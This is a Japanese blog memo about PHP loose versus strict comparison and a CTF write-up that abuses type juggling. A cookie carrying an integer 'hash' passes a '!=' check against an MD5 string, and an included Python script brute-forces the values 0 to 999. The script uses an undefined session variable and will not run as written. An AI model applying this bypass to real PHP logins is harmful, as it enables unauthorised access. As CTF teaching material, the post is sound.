LoginSignup
4
1

More than 5 years have passed since last update.

PHPの緩い比較とCTF

Posted at

はじめに

CTFのWeb問で登場したので取り上げます。
完全に自分用のメモで、後半はPHPの比較と全く関係ないごった煮ですがご了承を。

PHPの緩い比較と厳密な比較

PHPには=====の2つの比較演算子があり、
・前者は型変換をおこなった上で比較(緩い比較)
・後者は緩い比較に加えて型の一致も必要条件に(厳密な比較)

特にstringsとnumberを比較する場合、stringsをnumberに変換するので
'123abc' $\rightarrow$ 123
'12.34a' $\rightarrow$ 12.34
'aaaaa999' $\rightarrow$ 0
と、先頭から数字として認識できる部分までを抽出してしまいます。
そのため

<?php
    # 厳密な比較
    echo (123 === "123abc");
    # 何も返さない -> False

    # 緩い比較, 順序は問わない
    echo (123 == "123abc");
    echo ("123abc" == 123);
    # 共に1を返す -> True

    #文字列同士ならnumberに変換はしない
    echo ("123" == "123a");
    # 何も返さない -> False
?>

CTFでの活用

CTFで出された問題では、とあるURL1とCookieotadmin = {"hash": hoge}を付与してHTTP通信し、hogeの部分が正しいとflagが表示, 誤りだと以下のif文が実行されるという流れです。

# 与えられたPHPコードの一部

# otadmin = {"hash": 123}なら$session_data = 123
$session_data = json_decode($_COOKIE['otadmin'], true);

if ($session_data['hash'] != strtoupper(MD5($cfg_pass))) {
    echo ("I CAN GIVE YOU A HINT\n");
    # 以下, ヒントを表示するコードが存在
    # MD5($cfg_pass))は, 各桁が数字なのか文字なのかだけは判明している
    # 本問では最初3桁は数字, 4桁目はアルファベットということが既知
    exit();
}

さて、$cfg_passMD5($cfg_pass)もわからない状態でどうif文を回避するかですが、このif文の条件式に緩い比較が使われているのがミソになります(厳密な比較だと!==となるはず)。

もし仮に
MD5($cfg_pass) = 76a2173be6393254e72ffa4d6df1030a
だとしましょう2。先程の説明から、緩い比較をする際にはstringsはnumberに変換、つまり$session_data['hash']と76を比較することになります。

もうお分かりでしょうか。今回は最初の3桁は数字、4桁目はアルファベットとわかっているので、緩い比較を行う際にはstrtoupper(MD5($cfg_pass))は高々3桁の数として認知されるわけです。
これならbrute forceで探索しても問題はなく、

solve.py
import requests

url = '(与えられたURL)'
for i in range(1000):
     # hashに0~999を代入してbrute force 
     r = s.get(url, cookies = {'otadmin': '{"hash": %d}' % i})
     # 注意 : r.contentはバイナリ形式。
     if b'HINT' not in r.content:
          print(r.content)
          break

とすることで答えが得られます。


  1. 攻撃されることも考慮してあえて載せません。 

  2. "passwd"のMD5変換です。 

4
1
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
4
1